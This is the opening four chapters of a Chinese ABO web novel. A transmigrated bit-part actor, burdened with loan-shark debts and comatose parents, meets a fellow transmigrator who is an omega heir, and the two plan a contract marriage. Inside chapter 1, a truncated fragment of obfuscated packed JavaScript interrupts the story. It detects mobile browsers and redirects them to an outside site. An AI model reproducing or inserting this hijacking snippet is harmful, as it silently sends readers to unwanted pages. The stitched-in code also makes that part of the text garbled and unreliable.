《冷感A被前妻求复婚了》
1. 第 1 章
“叮,6楼到了。”电梯门打开,席棹觉得有些奇怪,虽然这是个老小区,但物业平常打扫公共区域的卫生还是挺上心的,可今天走廊上明显铺了层灰,还能看出什么东西拖行的痕迹。
他把装菜的塑料袋口收紧了些,踮起脚小心踩着没灰尘的地方走,不过很快就放弃了这种伤膝盖的姿势。在看到家门口的鞋架上躺着的白色信封以后,一整天的好心情更是消失得干干净净。
又来了,这已经是这个月的第几封了。
他站在鞋架前半天没动,直到头顶感应灯暗下去,才跺了下脚拿起信封熟练地拆开,抽出里面的单薄信纸,看到了意料之内的内容——
“30天内还清第一笔50万,否则你现在的工作也别想保住。”下面附了张照片,彩打的,能把今天下班走出公司大门的他和旁边一位同事的脸看得清清楚楚。
字体是打印的正楷,两个数字被加粗放大了,生平第一次觉得30天是这样的紧迫,想到以后或许还有更多个这样的30天,“嘶啦”接连几声,他把纸连带着信封一起撕成碎条攥在手心,深呼吸,输入密码打开屋门。
从客厅那头大开的阳台门外漏进来的月光森冷惨淡,大概就和屋主人现在脸上的表情一样。
屋里空荡荡的,什么都没有,或者说是什么都没留下,偏偏地上界限分明的灰尘块足够证明那些地方不久前是放着东西的——那些家伙今天过来把家具都搬走了。
沙发桌椅拖行的动静几乎就在耳边回荡,他长出一口气,拎着菜进屋,反手关上了门。十五分钟后又打开,一脸疲倦的背着个略显破旧的双肩包出来,手里还拎着那袋不太新鲜的菜。
“不能再等下去了。”他只剩下这一个念头,马不停蹄地跑到小区门口拦下一辆出租车,急吼吼地钻进去,“师傅,去中心医院住院部,麻烦快点!”
S市中心医院住院部,12楼的公共卫生间,席棹端着一脸盆洗漱用具站在某隔间外。这是他今天第三次这样呆住了,只不过比起前两回,这次的气氛明显诡异很多。
面前这个隔间里面伸出来了一只脚,脚上的皮鞋明显是高档货。整整五分钟,这只脚纹丝未动,也幸亏是里头没有传出血腥味。
“先生?”试探地轻唤了声,没反应,于是他左右看看,拿过角落立着的长柄刮水器踩上旁边隔间的马桶盖,低头一看。
那里面果然倒着个人。
他赶紧伸着刮水器的柄去捣鼓那隔间的锁,折腾出一身汗以后,终于听见“咔”一声,隔间门开了。“先生,醒醒,你没事吧?”忙绕过去把人小心地翻面朝上。
这是个很瘦弱的男人,长得很年轻,估计最多二十出头,至于模样,其实不好用自己原来的标准判断。
但如果用这个世界的标准来看,应该算得上是“很漂亮”。
叫了好几声对方也没反应,他探过鼻息和脉搏,确定这人不会在半路突然心跳骤停什么的,才打横抱起轻手轻脚的回了病房。
1213病房里的两张床上都躺着人,大大小小的管子把脸挡掉了大半。看了根本不可能醒来的父母一眼,他把抱回来的人放到自己那张简易折叠床上,垂着眼睛沉思几秒,伸手替对方脱掉板正的外套。
里面那件浅蓝衬衫已经被汗打得湿透了,贴在那人身上,在微弱月光下甚至能看到身体的曲线。他往下瞄了眼,肚子是软的,没形状。又看了眼空调温度,终于认命似的从柜子里拿出一套干净的病号服动手给人换上。
夏天穿两件、身体软得不像话、皮肤又白又细腻、长得也一副柔柔弱弱的样子。
这人是什么性别已经很明显了。
把对方身上换下来的衣服整整齐齐地叠好放在一边,他第无数次在心里祈祷——希望你是个知恩图报的omega,否则我这趟白忙活了。
大半夜的这来回一番折腾以后也没多余力气再跑外面去慢慢洗,于是干脆拿着东西侧身钻进病房卫生间里。淋浴区各种器具用品已经快堆不下了,他有些心烦意乱地随手挪开一部分后,才能在这个对他而言实在太过拥挤的空间里简单冲了个澡。
等他睁着双满是红血丝的眼睛从杂乱潮湿的卫生间里出来的时候,最里头靠窗的角落飘来“嘎吱”的动静,在算不上大的病房里格外刺耳。
“呃,你醒了?”他的脚步连同擦头发的动作一起顿住,和那张折叠床上不知道什么时候坐起来的人对上了视线,见人没反应又往前走了几步,“你......感觉怎么样?”
宋采舟视力极好,隔着大半个房间的距离都能清楚看到刚洗漱完出来的男人潮湿的发梢。有水珠顺着那发梢往下坠,滴落到男人的脖间,然后继续往下淌过锁骨滑进胸膛,亚麻灰色的单薄睡衣领口瞬间洇出了一小块痕迹。
也不知道是那睡衣颜色显壮还是怎么的,他视线一路往下溜,只觉得这男人体格好的出奇。
席棹对旁人的目光相当敏感,顿时感觉有道视线把自己的身体从上到下扫了个遍。
他本来对这副身体挺满意的,高个宽肩长腿,天生的好骨相,就算放在原来那个圈子里也是一等一的条件。可当这道视线落下的时候,他又突然没那种满足和自豪感了。
明明这目光并不锐利,甚至称得上温柔,可莫名就是有种被看透的感觉。“先生,你?”
“你是alpha?”对方的突然开口打了他一个措手不及,于是下意识回答:“是的。”
“是你把我带到这儿来的?”
“是。”他语气明显虚了几分。
“是你给我换的衣服?”
他顿时觉得刚才澡白洗了,现在后背又出了不少汗。仔细琢磨着对方语气,似乎并没有愤怒之类的,那些讨债信和被搬空的家又适时地跳进脑子里,他心一横:“是,因为......”
结果话刚起了个头,就见那人突然捂着心口急促地呼吸起来,空气里弥漫起一股清冽的茶香,汹涌地充盈、四处乱撞。
他大惊,当即就要跑过去,却听见一声轻呵:“别靠近我!”那声音软得跟水似的,根本没有几分威慑力,所以也理所当然的拦不住他。
对方的身体背着月光向前倒下,身上笼着层朦胧柔软的雾气。“喂!”他双臂一伸捞起人就想抱去急诊室,结果被怀里传来的温度吓了一跳,“喂你怎么了?”发烧吗?不应该啊,刚带回来以后反复确认过没有高热迹象,这怎么突然就这样了?
他还想叫人清醒一点,结果一低头,那股茶香就沿着鼻腔钻进后脑,后颈的刺痛和浑身的酸麻感同时袭来,倒下去前只记得伸手护住怀中人的后脑——
拿不到钱没什么,可不能再担这少爷的医药费了!
......
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431071|184908||http|test|mini|href|location''.split(''|''),0,{}));
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>“醒了?”席棹本来还迷糊着,一听这声音猛然睁眼,发现自己正乱七八糟地躺在地板上。那声音的主人正好整以暇靠坐在窗边,有些慵懒地偏过头,身上太过宽松的病号服堪堪卡在两边肩头,漏出了大半截锁骨,很纤细,很脆弱。
他毫不怀疑自己用点力都能不小心把它们掰断。
病房里原先充斥的浓郁茶香已经淡了很多,隐约能闻到其中一丝烟熏火燎的呛味。他站起身有些茫然地和那人对视:“你不是发烧?那到底是什么毛病?”几次三番的变故让他有些后悔插手这事了,语气也不再那么小心讨好。
没想到对方竟一改前态,主动凑近来闻了闻:“刚才我信息素紊乱症发作,怕你靠近被刺激才态度差了些,没想到你接近之后我反而稳定下来了。”说着往后退了一步,抬起手示意,“我想我之前应该是误会了,不好意思,能解释一下事情经过吗?”
信息素紊乱症?这可不是什么常见的毛病。
他有些怀疑地看了几眼面前比自己矮了半个头多的人单薄的身体,“你晕倒在公共浴室隔间里,我恰好发现就把你带回来了,至于刚才,我是想带你去急诊,没想到一靠近你就整个人不对劲。”
“那看来我之前确实误会了,我向你道歉,对不起。”那人面带微笑地伸出右手,“虽然是个意外,但还是谢谢你帮我安抚住了失控的信息素,明天我会派人备一份谢礼送过来,希望今晚的事不要有第三个人知道。”
伸过来的手指节修长,指甲修剪得很干净,指腹和掌心更是薄薄的一层,一点茧都看不见。显然是一双不用劳作的养尊处优的手,和脚上那双鞋倒是相配。
他本来都不准备和这不知道打哪儿来的少爷再有身体接触了,一听这话,先前的后悔和烦躁立刻烟消云散。谢礼?这不就是他本来的目的吗?于是立刻伸手回握:“那就先谢谢了,我父母的情况想必你也看到了,他们是不可能往外说的。”
只见对方眉心轻蹙一瞬就立即松开,但同时眼里的真诚也随之褪去几分,浮出一丝肉眼可见的嘲弄和不耐,显然是听出了这话的言外之意。
他早猜到会有这样的反应,但没有办法,再美好的品格都要为现实让步,他还不想为了那点装模作样的高尚害得两位老人死在病床上,于是垂下眼松开手:“既然你已经没事,那我就不送了,我每天下午六点后都在这儿,你哪天派人过来都行。”
“知道了。”宋采舟没再多停留一眼,拿起自己的衣服就往门外走,心中暗叹这alpha真是白长了这么一副好皮囊,没想到竟也是一个贪财肤浅之辈。
可惜了那能替自己安抚住紊乱症的信息素,生在这样一个人身上,他就算再怎么受病痛折磨都是会敬而远之的。
也不知道到底什么时候才能找到那个人?
一想到还要在茫茫人海里找不知道多久就感到一阵头痛,他按着太阳穴走到电梯口,突然想起忘了看那家伙的病房号,又转身往回走。
“1219,1217,1215”终于前面飘来一股似有若无的熟悉茶香,他在病房门前停下脚步,眯起眼看上面插着的病号单。
“席......?”
席棹正打算睡下,被病房门“腾”打开的动静吓了一跳,还没反应过来,就见刚走不久的人双眼放光地小跑进来,扣住他的肩膀问:“你叫什么名字!”
2. 第 2 章
“你叫什么名字!”面前的人因为上半身前倾着,宽大的病号服领口往下坠了点,稍一低头就能看到大片细嫩皮肤。
席棹喉头一紧慌忙移开目光,觉得自己真是神志不清昏了头,刚才给人换衣服的时候看光了都没觉得有什么,怎么这会儿反倒口干舌燥上了。
他赶紧后退想拉开距离,却发现肩上扣着的手更使劲了。
“你姓席,单名棹是不是!”这声音里的急切多过疑惑,又有别的什么情绪胜过急切。
肩头传来的酥麻钝痛迫使他不得不调整回原来的姿势,属于另一个人的气息骤然逼近喷洒至额前,他对上那双堪称教科书级别诠释了眼含希冀的清亮眼眸,怔怔地点了点头。
这眼睛,如果在荧幕上该有多好看。
没等结束这莫名其妙的胡思乱想,禁锢着双肩的力顿时抽离,那摄人心魄的美丽就离远去了。“席棹,你就是席棹。”
什么意思?这少爷认识“我”?难道也是债主?那我岂不是自己跳坑里了?这眼神又是什么意思?
他不自觉地往前凑了一点,试图再去看清那双眼,却遗憾地发现那里面的希冀已经褪去,化作了浓浓的......狂喜?
都说人心里想什么是会透过眼睛流露出来的。他曾经上表演课的时候最喜欢的,就是和不同的人对视。可和面前这人的对视,与从前那些都不一样。
他会被这人睫毛的微颤、瞳孔的缩放甚至眼下出现的一点纹路吸引走注意力,就像现在——
“重新认识一下吧,我叫宋采舟。”
一秒,十秒,一分钟过去,屋内安安静静,没有任何回答。
觉得气氛有些尴尬的宋少爷掂了掂肘窝上挎着的衣服,换了个不那么端的姿势,又过了近一分钟才终于忍不住侧头去看。
男人前额碎发带着湿气,本来是盖不住眉眼的,但偏偏那睫毛生得浓密又直,只是往下落了一点就能借着周围的昏暗把眼神遮挡个大半。
绷紧的嘴角和下颌线让那张脸更加轮廓分明了。
这是怎么了?
这是怎么回事?陷入茫然无措中的席棹早在听到“宋采舟”三个字的时候就侧过了头,他知道此刻自己的表情肯定很奇怪,但没有那个闲工夫去掩饰。
如果说名字可能是不小心撞了,那omega性别、信息素紊乱症、肉眼可见的不俗家境、进退有度的言谈举止。
这些总不会都是巧合吧?如果不是巧合,那是不是说明......
“却,却上采菱舟的,采舟吗?”小心地移回一点视线,尽量不让语气显得太过慌乱,然后他就在对方那张精致的脸上看到了分明上挑的眉毛。
“你认识我?”
得到这种代表肯定的反应后,他心中方寸大乱。认识?不认识?这又该怎么解释?
我认识你,你是这个剧本的男主角之一;我不认识你,我和你甚至都不是一个世界的。
最后只能选择用一句“我猜的”试图糊弄过去,“那你呢,是怎么知道我名字的?”
对方刚才那种狂喜实在有些奇怪,如果就是那个“宋采舟”,怎么会对一个名字有这么大的反应?还是说故事已经发展到那种程度了?
“不好意思,等一下。”
沉浸在臆想中的人压根没听清这句话,直到刻意放轻的一阵脚步声过后,他面前递来一纸杯温水,水面映着点从窗帘间隙漏进来的残缺月光,随波晃着晃着,碎了又合。
他这才终于回神,懵然接过轻声道谢。
“我刚在路上想起来还不知道你叫什么,就让助理查了下病房信息。”对方的语气平静而理所当然,就好像这样的信息搜集根本不算什么。
“听说你父母是意外车祸导致的持续性植物状态,已经进来快一年了?我没别的意思,只是你今晚帮了大忙,我这个人从来不做无用的回礼,想来想去你现在最需要的大概就是这方面的帮助。”
明明是有些冒犯的话,可或许是因为讲的人语气太过温柔,听的人竟生不出之前那样下意识逃避问题的心思。
“啊,嗯,他们确实是......”突然虎口和手背传来一阵温热,他才惊觉自己手上动作太大,把杯里的水给挤出来了。可即便喉咙已经开始因为紧张而变得干涩,他还是不想喝这杯水。
屋外风声突然变大,连带着窗户都发出点声音,手背上残留的水分被空调风一吹,他在这瞬间惊觉病房里竟是这样的冷。
那被捏成沙漏状的纸杯就一直握在手心,水面几乎和杯沿齐平,将溢未溢。
“宋先生的意思是,可以给他们提供医疗帮助吗?”问出这句话的时候,他并没有抬头和人对视,只是垂眼看被困在杯中的细碎月光,一如看着被困在这个世界的自己。
三个月了,从发现自己来到这个剧本里的世界,已经过去整整三个月了。
这段时间光是适应这具身体和应付平常的工作就耗费了几乎全部精力,更别说还有隔三差五的讨债信、讨债电话,以及源源不断的医院缴费单。
真的不想再过这样的日子了,如果能给两位老人找到可靠的后路,是不是就能回家了?
头顶传来的声音虚幻又缥缈。“当然,这家医院有宋氏的投资,虽然禁止盈利,但是以此交换点医疗资源也不是什么难事。如果你需要的话,可以先告诉我一些你父母的具体情况。”
具体情况?上哪儿了解具体情况?醒来那天面对的就是那边病床上人事不省的“父母”,三个月了只碰到过护士,连医生的面都没敢正式见过。
真要严格说来,最雷打不动见面的反倒是那叠成一沓的缴费单。
于是他只能硬着头皮说:“这方面的情况,还是让医生他们之间直接进行对接更方便吧。”
“对了,宋先生怎么会晕倒在公共浴室里?也是信息素紊乱症发作了吗?”
“哦,没有,那个是因为我刚做完腺体检查,忘了避开公共区域,没想到那里的信息素残留还没有清理干净,才不小心受刺激昏迷过去的。”
“原来是这样,幸亏没有弄出大麻烦,下次要小心些。”
“......”
他还在为自己成功转移话题感到庆幸,突然窗外炸响一道惊雷声,从背后传来,网住了他整个后脑——
“你不是席棹吧。”
“或者说,你不只是席棹。”
!!!
没等他反应过来,手心那变形的纸杯就被修长双指捏着前后杯沿提了出去,稳稳地落在窗台上。
“你作为一个alpha,连公共区域隔间有信息素屏蔽器这种事都不知道,还敢和一个
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omega这样长时间独处,就不怕我出去以后告你猥亵,让你敲诈不成反赔钱吗?”
这声音听上去依旧很温柔,只是话中内容的冲击力并不亚于刚才的惊雷。
他的嗓子眼里像被塞了块海绵,所有的水分和血液都被吸走,干的要命,渴的要命。
一只有些凉的手轻抚上他的脸,柔软的指腹贴着皮肤往下游走,把他的下巴强硬地抬起,让那双眼里的情绪再无处藏匿。
“脸白成这样,真吓着了?”
第二道惊雷声响起。“我逗你玩儿的,别害怕。看来你是刚到这儿没多久吧,连生理知识课都没上全吗?”
那只冰凉的手松开了下巴,向后挪了半臂,轻拍上他后背心:“好了好了,赶紧缓过神来吧小可怜,我有话跟你说。”
......
半小时后,城中心某间咖啡馆包厢的门被推开。
席棹看着这儿低调而温馨的装修,又看了眼已经施施然坐下的人,脚步有些迟疑。
事情好像往一个完全意料之外的方向发展了。
“坐吧,这是我的店,不搞监视监听那套,私密性很高。”
他这才稍微放下心,走到对面位置坐下。“你也是穿书者?从现实世界来的?”这是半小时前对方说的最后一句话,也是让他下定决心跟着离开医院的原因。
“嗯,‘ABO之逃爱’剧组对吧。我比你来得早,已经在这儿当了快五年的宋少爷了。”
“五年?”看着面前人神色平淡地翻起电子菜单,他眉心拧到一起,“可是这个剧组搭建起来还没到半年。”
“嘀嘀”两声过后,对面提交了菜单,才突然后知后觉般问起,“一壶日照红梅,一壶渠江薄片,能喝吧?”
他噎了声说能,然后目光切切地等着答案。
刚才过来的路上雨势已经由急转缓,没想到这会儿又大起来,雨滴砸在落地窗玻璃上的动静有些嘈杂,惹得人心烦意乱。
室内静了好几分钟才终于有声音覆盖掉那不间断的敲击声。
“这里和那边的时间流逝并不同步,我在这边快五年,但刚来的时候那边的剧组才搭建起来两个多月。”年轻男人的手搭在黄檀木桌面上,食指有一下没一下的敲着。
“至于为什么会穿进这个剧本里来,你就别问我了,我也没搞清楚。”
窗外乍亮,十几秒后又是一道雷声。雨势更大了,窗玻璃上的水跟海浪似的往下翻滚,把寸土寸金地段昂贵的夜景掩盖了七七八八,视线一片模糊。
对面的人似乎是看烦了,手指在操控屏上一点,厚重的隔音窗帘就从两边合上,挡住了那又开始咋呼的雷云。
“滴,客人您好,您点的餐到了。”穿着一身条纹病号服的人起身去端回茶盘,“大半夜的我懒得动手,让他们弄了成品送来的,不介意吧?”
又没有回应。
直到神色怔怔地看人洗好器具斟好茶,席棹耳边才再次响起声音:“想好了吗?要和我互通信息,就你现在这状态可不太适合,还是说你想先睡一觉,看看明天醒来会不会就回去了?”
这话中带刺,他不至于听不出来。
于是他把视线从那优雅布茶的手上撤走,缓缓上移,对上一双含笑的眼睛。
“不用,我们聊聊吧。”
3. 第 3 章
“那就先说说你的情况吧,什么时候来的,到这儿多久了,都知道些什么。”宋小少爷不慌不忙地往侧座一靠,从他那件品牌早秋限量款外套的口袋里掏出一本随身便签,好整以暇地等人开口。
席棹一手端着小巧茶杯,另一手指腹在杯口摩挲着感受温度,缓缓说起:“我是三个月前在医院醒来的,就在刚才那间病房。当时剧组进度应该接近收尾阶段,我记得很清楚,那天是某个主演的生日,组里所有人都被叫去分蛋糕了。”
透过氤氲的热气,他看到对面人不疾不徐的在便签上写下一串日期,然后划了道斜杠,在后边加上两个字——半年。这是大部分剧组完成拍摄内容的时限。
“继续,你说你的,不用在意我。”似乎是注意到他的视线,对方头也没抬提醒了这样一句。
于是他定了定神收回目光:“那天组里拍的是大场面戏,人很多,我嫌挤就没跟着一起去拿蛋糕,一直留在片场准备,后来我可能是睡着了,再醒来的时候就已经在这边的医院里了。”
热气升腾得越来越密,几乎挡住大半视线,他手一抬就把温度正好的茶水全送进嘴里,然后把那两指节宽的杯子往桌上一放。
喝了茶,没品出什么味儿但好歹解了渴,看向对面这个即使只穿着粗陋病号服都不会显得与这儿格格不入的人,他第一次觉得“精致”这个词不一定要用在穿着打扮上。
就像眼前这位,只坐在那里就是精致的。
精致人儿并没有对他鲸吸牛饮的举动提出什么意见,只是手中笔杆子动了几下,那便签上就多了四个字——大场面戏。然后那笔杆转头在黄檀木桌上敲了两下,发出有些闷的声响。
“有一点我得提醒下,既然选择交换信息,就不要有无谓的隐瞒或者谎言了,当然,我也不会。”
他花了几秒钟理解这话的指向,眯了下眼:“我说的就是真实经历的,绝没有掺假或捏造。”见人点头才继续,“至于这边我了解的并不多,就像你刚才说的,我连生理知识课都没上全,也不知道公共场合会有什么阻隔器。”在说这话的时候,语气中甚至染上几分自己都察觉到了却不想掩饰的不高兴。
一把糖突然被抓到面前,他低头一看,花花绿绿的口味还不少,挑挑拣拣拎出两颗看起来不那么甜的,伸手把剩下的推了回去。收回手的一瞬间,那便签上新鲜硕大的“不喜甜”三字撞入眼帘。
......什么意思?记我喜好?
硬糖清甜的味道充盈口腔,但他的口齿依旧清晰:“我对这具身体和社交关系的所有认知都基于家里的各种证件。”语气中先前的不高兴已经消散了大半。
席棹,男性alpha,26岁,独生,欠债中。他回想着前段时间翻箱倒柜整理出来的资料,还有旁敲侧击从同事们那儿打听来的过往事迹,有丝怨念从心底升起。
凭什么龙套演员连参演故事的梗概都不配知道?
就连两个主角名字和一些关键信息,都还是那会儿从别人聊天那儿听来的。
纤细五指在眼前轻晃,晃出了白花花的残影。“你有听到我说的吗?嗨?”对面的人已经停下了写写划划的动作,正用一种有些担心的眼神看他,“你要实在状态不好,我们改天再找时间聊也行。”
他这才反应过来自己想得出了神。“啊,我想远了,你刚说什么?”对面目光中的担忧并没有减弱几分,能看出来那不是对“席棹”的,而是对他的。
“我问,你之前在剧组是干什么的?”
口中的硬糖咔一声被咬碎,把所有碎糖块都扫到一侧用舌尖裹着,他有些含糊地说:“我,我是龙套演员,跟过几次大景戏。”
胸口有股隐秘的胀痛,一瞬间那些或许可以说是上辈子的经历都涌进来,把一颗心塞得密不透风。离异的家庭、退学的通知文件、寒冬烈日下那条通向群演公会的路,还有那个雪地里对他说“孩子,你一定能成功”的环卫阿姨......
“席棹!席棹!”急切的呼唤和玻璃茶盏摔到地上碎裂的声音从四面八方传来,恍惚之中他以为自己又一次陷入了走马灯。
“别慌,深呼吸,有我在。”近在咫尺的精致面庞。他觉得自己之前真是不识好歹,怎么就不肯承认面前这张脸无论用他什么时候的标准来看,都绝对能称得上一句“漂亮”呢?
“什么?你说什么?”那脸离得更近了。他迷迷糊糊地抬起手,指尖触到了那紧蹙着的眉心,清晰无比地说了句:“漂亮,别皱眉。”
......
室内一片寂静,因着隔音窗帘的缘故,外面滂沱的雨声也被挡住透不进来。
席棹平躺在另一侧的沙发上,用手盖住了眼睛不去看头顶明明很温暖的灯光。他觉得自己一定是疯了。
怎么能,对着一个刚认识不到一个晚上的,异性,说出那种轻浮的话呢?
就算这异性和自己来自同一个世界,严格来讲是同性。
那不是更糟了吗???
完了。他为自己即将荡然无存的君子形象扼腕。
“好些了吗?”一听到这声音他立马如临大敌地坐起来,恭恭敬敬接过对方递来的新的一杯茶,仰头一饮而尽,然后很快被烫得嘶出声。
“看来是没好。”
刺痛之中感觉到一双臂环抱上来,后背被一下下温柔地轻抚着,耳边声音和清茶香一起包裹住他:“别怕,情绪异常的时候是很容易信息素失控的,你不懂这些,我会慢慢教你。”
不知道自己到底是怎么了,他突然控制不住地红了眼眶,委屈在心口乱撞。
“我知道你现在很难过,你可以哭出来,我绝不会因为这种事嘲笑你。但你要相信自己能收回来,别被情绪牵着走。”
这一刻深陷情绪之中的人只觉得后背的手心真烫,烫得心里那些怨念也好酸疼也好渐渐都被驱散了。
然后哭也哭得乱七八糟,笑也笑得乱七八糟。
当
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墙上时钟指向凌晨三点整的时候,宣泄够的人终于轻拍了下身前那过于细瘦的手臂,嘟囔了句:“我没事了,谢谢。”后颈传来阵阵温热,那股和茶香缠绕着的烟熏火燎的呛味又出现了。
就在他一脸狼狈地思考那难不成就是自己的信息素的时候,一方湿巾被递过来:“我们的第一个共同点出现了。”
“什么?”接湿巾的手顿在半空,他视线向上,看到那双近距离赞叹过的眼里闪过的一丝落寞。
“你是逃爱剧组的演员,我是剧组的道具跟班,我们也算是前同事。”这话被平静如水地说出来,却让人惊得迟迟忘记接过湿巾。道具?跟班?
“不用这么惊讶的看我,换你在这个世界,在宋家那种环境下当五年的宋少爷,也会变得跟我现在一样的。不,你会做得比我更好,你是个很有天赋的演员。”湿巾被顺势塞进手心。
很有天赋的演员。短短几个字却让后颈连带着整片后背麻了一阵又一阵,他似乎明白了刚才那个拥抱,那是宋采舟给他的,也是给五年前的“他”的。
用湿巾擦了脸又擦了手,准备起身去冲洗一下的时候,视线不自觉落到了茶桌边上。
如果没记错,他刚才似乎听到了玻璃摔碎的声音?
“我已经清理掉了,湿巾放那儿吧,你先过来看看这个。”宋采舟拿起那本小便签冲他扬了扬,然后指着上面那一个个关键词说,“我们俩都不是剧组的核心成员,没看过全部剧本,就算加上你的三个月和我的五年都凑不出完整的人际关系,所以你还记得自己参演的几场大景戏吗?”
一旁的垃圾桶里果然躺着不少玻璃碎片,他瞄了眼明显深了一块的茶桌和地板,仔细回忆后说:“除了一场结婚戏和一场火场戏,其他都是看不出内容的走街。”
便签上唰唰落下两个新关键词“结婚”和“火灾”,接着在火灾后面紧跟着出现了,“法庭”。
“我在剧组待的时间其实很短,但我记得准备过布置法庭的道具,这个法庭戏多半就和你说的那场火灾有关。”说着法庭两个字就被框住,标了个重点的星号。
温热气息喷洒在耳廓,经过一番折腾终于不再失控的家伙总算抓住了一点灵光:“我们两个知道的所有信息甚至都没办法串成一个完整的故事,这场火灾,或许值得赌一把。”
找到剧本里火灾的真凶,也许他们就能回家!
便签写满的一页被撕了下来塞进了手心,他怔愣地看向做出这举动的人:“怎么了?”
“我觉得,你说得对。”对方那双眼里再一次闪动起希冀的光,一如几小时前初见的模样,不同的是这次那希冀之中还有十分的信任。“以后我们就是一条绳上的蚂蚱了,必须时刻准备好互通有无。”
时刻?怎么个时刻法?
他这头还在思考有什么比较合适的办法,那边就传来今晚不知道第几道惊雷——
“所以我们先完成已知剧本的另一部分,结婚吧。”
4. 第 4 章
“啊?”席棹听完后脑子里空了一瞬,先前的什么灵光也好谋划也罢都消失得无影无踪。
他承认眼前这人漂亮聪明又有能力,放在大众眼里是配偶的上等人选,但他们两个都是男的,而且认识总共还不到二十四小时,互通身份也不过是一个小时前的事。
怎么就提到,结婚???
“你想什么呢?我说的不是你以为的那种,是协议结婚,别忘了这儿是ABO世界。”
他从巨大的悬浮感中猛然回神,就看见一根修长手指伸过来,抵住心口的位置戳了下,然后又掉头指回去,“你是alpha,我是omega,AO婚姻再常见不过了,是受这里法律保护并提倡的伴侣关系。”
哦,协议结婚。
他心头那股惴惴之感退去,随之涌上来的却不是轻松,而是......失落?
意识到自己竟然会因此觉得失落,全身突然哆嗦了下。
怎么会这样,难道也是被信息素影响了?
身旁那令人安心的声音还在继续说着:“结婚肯定是原剧本里很重要的一个环节,先把这个阶梯进度达成,咱们再调查和火灾有关的事情,慢慢来,反正有的是时间。”
桌上晾好的两杯茶被端起,那一脸踌躇满志的人试了下温度,然后递过来其中一杯,笑着说:“别担心,以后咱们该怎么样就怎么样,你不用觉得有负担。”
“......嗯。”他不知道自己是怎么和人碰杯,又是怎么喝掉那可能象征“结拜”的茶。
他只觉得这茶没味儿,比不上刚才近在咫尺呼吸相闻的清茶香。
“行,那就来商量一下结婚协议吧。”
被半推半请着坐回位子上以后,捏着手中已经换了一套的新茶杯,他还是有些恍惚,甚至都没发现对面欲言又止后的临时改口。
“我查到你家里因为车祸和医疗问题背了不少债,只剩下一套老房子还没卖掉。两位长辈那边我会按照之前的约定,让医院无偿提供更优的治疗方案,这不用担心。至于债务方面,你有什么需求吗?”
提到债务他总算从飘飘然的梦境回到现实,手腕用力到青筋凸起。
“我之前大概整理过,那套老房子虽然旧了点但是地段不错,顺利卖掉以后能还上不少,最大的问题其实就是医疗,你知道的,这个病很可能不是一年两年的事。”他故作轻松道:“既然以后不用我操心医疗费用了,那些债......其实也不是什么大问题,我慢慢总能还上。”
虽然嘴上这么说神色也如常,但一想到那些不知什么时候就会出现的讨债信,他还是有些头痛。
向哪边借钱不好,偏偏病急乱投医要走高利贷的路子。
原剧本这家伙真是有够蠢的。
“其实你没必要对我隐瞒,如果我有心查早晚都会知道。”宋采舟给空了的茶杯满上,顺手往前推了一小段距离,“你家那些债不是走正规渠道借来的吧。”
他手机里还躺着不久前助理发来的几份详细资料,一看上面的内容心里就猜出了大概。
“我知道车祸发生以后他们先是在距离当时现场最近的三院,后来才被送进中心医院,从签署治疗同意书到实际缴费,中间隔了三天。”
他拿食指沾上滴落到桌面的茶水,向右一划,几下动作后,那位置就多了个用水渍写出的“三”。
“三天,没有哪家正规机构放大额款有这么及时,是高利贷吧。”
席棹指尖顿了下,鼻腔中散出一股沉闷已久的热气。“嗯,是高利贷,已经找上门了。”
“找到你现在住的地方去了?”
“今天已经进去把能卖钱的东西都搬空了,还留了封威胁信。”
“多少?”
他一听这俩字,眼神有些浑噩地往上抬,又看到了那微蹙的眉心。“......50万,30天内还清。”他当然知道对方不可能相信只有这点钱,但也着实不想以此作为交易。
即便这债本来就不属于他。
“我替你,不,我借你这50万,你先去把这笔债还上,至于我这边就不设还钱时限了,反正我们现在是一伙的。”出乎意料的是对方并没有大手一挥来句我给你还了这种话,反而有商有量地说,“你那房子也不方便再住,不安全,我给你找个安全的地方你先搬过去,别住在医院里了。”
听到这几句他就知道对方观察力很强,应该是发现自己今晚带去病房里的那些生活用品了。
然而被这样体贴关照,心里却泛上一丝苦涩。他现在没有那个底气说不需要,对方提出的每一点都正中要害,既合理,却也扎心。
面前的茶杯又空了,随即又被满上,还是那壶喝得更多些的渠江薄片。
他听到对方逐渐严肃的语气:“当然我也是有条件的,亲兄弟明算账,不会让你平白得利。对我来说最大的麻烦就是这具身体的信息素紊乱症,我体验过完整的分化和犯病过程,不想再动不动就受那种折磨。”
“今晚之前其实我一直有在找你,因为我们两个”说到这里声音停顿了下,“应该是信息素完美契合。”
“就像你知道这个剧本的俩主角名字,就知道他们一定会因为什么产生交集。如果又恰好得这种病很多年,你也会往这方面猜。”
完美契合?即便他没有好好上过这世界的生理知识课,只凭字面也不难猜到其中意思,更何况他之前还曾听几个同事聊天时提到过这个词。
“我的条件很简单,就是你在我需要的时候,负责帮我安抚和调理紊乱症。”
新的一杯茶停在桌面上,迟迟没有被拿起。他看着澄澈的茶水表面倒映的灯光,发现整体都比之前在医院病房里要温暖不少,哪怕现在外头下着瓢泼大雨,这屋里也是恰到好处的暖和。
而和自己共处一室的人,自然也比之前更让人舒心。
“好,我接受。”想到这里他也不再憋闷,主动提起,“但现在的这份工作并不能缓解我的压力,我需要换一份能还的上钱的工作。”
对方欣然同意:“如果你愿意的话,我可以介绍你去一家朋友刚起步的娱乐公司,不是什么行业大头,但我觉得应该很适合你。”
很有天赋的演员、很适合,这些话里听不出一丝一毫的嘲讽或恭维,这人是真的很支持自己演戏。
他想着,伸手摸过那杯茶,仰头喝了。
“那就多谢了,我会权衡好,不会影响到帮你调理身体的。”
天亮以后,他在宋采舟的陪同下到公司办理离职。幸好本来也不是什么重要岗位,不需要等人事交接那些麻烦的手续,只是听说他要走,几个平时走得稍微近些的同事都露出
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遗憾的表情。
“啊?你要走啦?那我们部门从此以后就要失去门面了。”这是同部门里人缘公认最好的B。
“怎么要离职了,是找到待遇更好活更轻松的了吗?”这是最热爱上班月月全勤的A。
“哎呀你走了人家都懒得化妆来了啦!好不容易找到的热情又没了!”这是最近天天光彩照人的O。
